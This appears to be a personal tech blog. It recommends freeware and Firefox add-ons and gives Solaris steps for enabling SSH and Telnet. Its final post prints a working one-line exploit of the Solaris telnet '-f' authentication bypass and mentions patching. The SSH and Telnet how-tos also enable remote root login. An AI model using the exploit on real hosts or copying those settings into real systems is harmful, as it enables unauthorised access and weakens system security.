Qlock - World Clock

If you want a world-clock on your desktop, then go and install this freeware. It uses very less system memory and stays in your system tray. You can create / add any city very easily and can create numerous profiles. The GUI looks very good and pretty user friendly. You can select the city from Zones or just locate and click on the world map. Apart of this, it has the following features:

When the time is..
This feature is useful when you want to see other local times for any given time.

Multiple profiles
Create different Qlock layouts in each profile.

Attach notes
These are a useful way of keeping track of to-do items, meetings, phone numbers etc.

Automatic program updates
Qlock automatically downloads time zone and Daylight Saving Time changes.

Multiple alarms per city
Qlock allows you to set up to 5 separate independent alarms per city window.

If you like it, download Qlock

Interclue - Firefox Add-ons

This is one of my favourite add-ons. I am sure, if you start using it, you will really likes it. Interclue tooltip windows display content previews, useful extra information and relevant next actions for almost any link on the web. A truly user-centric design, "Clueview" tooltips show you only the most relevant content from linked pages, and can provide embedded viewing for images, mp3s and YouTube videos. Other features:

• Gives a quick preview of the main content.
• Iconic indication represents type of link is. eg: website, pdf doc, script, mail addr etc
• Next button while viewing images (so that no need to click on each and every image link)
• Statistics of the links.

It must-be an add-on, those who do surfing frequently.

Download Interclue

IE Tab - Firefox Add-ons

No need to switch browsers frequently. Here is a great solution for those who are using both IE (Internet Explorer) & Mozilla Firefox for different purposes. IE Tab enables to use the embeded IE engine with your firefox.

Download IE Tab Add-on here

Once you are done with installation, you can select the option "Switch rendering engine" or "open this link in IE Tab" from the pop-up menu on any tab to switch to your IE Tab.

How to enable SSH in Solaris

To enable "ssh" in solaris do the following steps:

Step1: Edit the /etc/ssh/sshd_config file
vi /etc/ssh/sshd_config
change "PermitRootLogin" argument from no to yes.

Step2: Enable/restart ssh service.
svcadm enable ssh
(or)
svcadm -v enable svc:/network/ssh:default

Troubleshooting:

• If you face any problem while enabling the ssh service, do properly check the physical network and "/etc/hosts" file.
• If any line in the "/etc/hosts" file contains "::1" then comment it out and also check the localhost argument.
• Physical network status must be online when you run the following command to identify the issue: svcs -d ssh
• If you fail in all the above tips to identify the problem, check the log file it will give a idea:
  cat /var/svc/log/network-ssh\:default.log
  

Free your ipod - change, backup, share

SharePod is a free program for your ipod. Its a tiny stand-alone application, which does not require any installation.

Heres some of the main features:

• Add & remove music and videos from your iPod
• Add, remove and edit playlists
• Add & remove album art
• Copy music, videos and playlists from your iPod to PC
• Import music/videos into your iTunes library, including playlists and ratings
• Tag editing
• Drag n' drop to and from Explorer
• Simple, clean interface
• Quick to load and use with no unnecessary complicated features

Download SharePod

FAQ's
SharePod needs the Microsoft .NET 2 Framework to work correctly

Puzzle

Feeling bore or drowsy?? Then here is a nice game to give you boost.

Guess-the-Google

Click on the link to play. Enjoy!!

How to enable Telnet in Solaris

To enable TELNET service in Solaris do the following steps:

Step1: Edit the /etc/default/login file
vi /etc/default/login
comment the line "CONSOLE"

Step2: Run the following command to do enable
svcadm enable telnet
(or)
svcadm -v enable svc:/network/telnet:default

Step3: Check the status of the service
svcs | grep telnet

Troubleshooting:
If you face any problem while enabling the telnet service, check the following command output to identify the issue.

svcs -l telnet
(or)
svcs -d telnet

Solaris Telnet Authentication Bypass

In some Solaris versions, the telnet daemon allows authentication bypass.

Following example will log in you to the system with the user "username" without asking for credentials.

telnet -l "-fusername" [hostname]

Example:

1. telnet -l "-ftestuser" SolarisAdminServer

Hint:
To fix this bug/issue, go ahead and install all the Solaris patches for that particular version using this link Patches and Updates .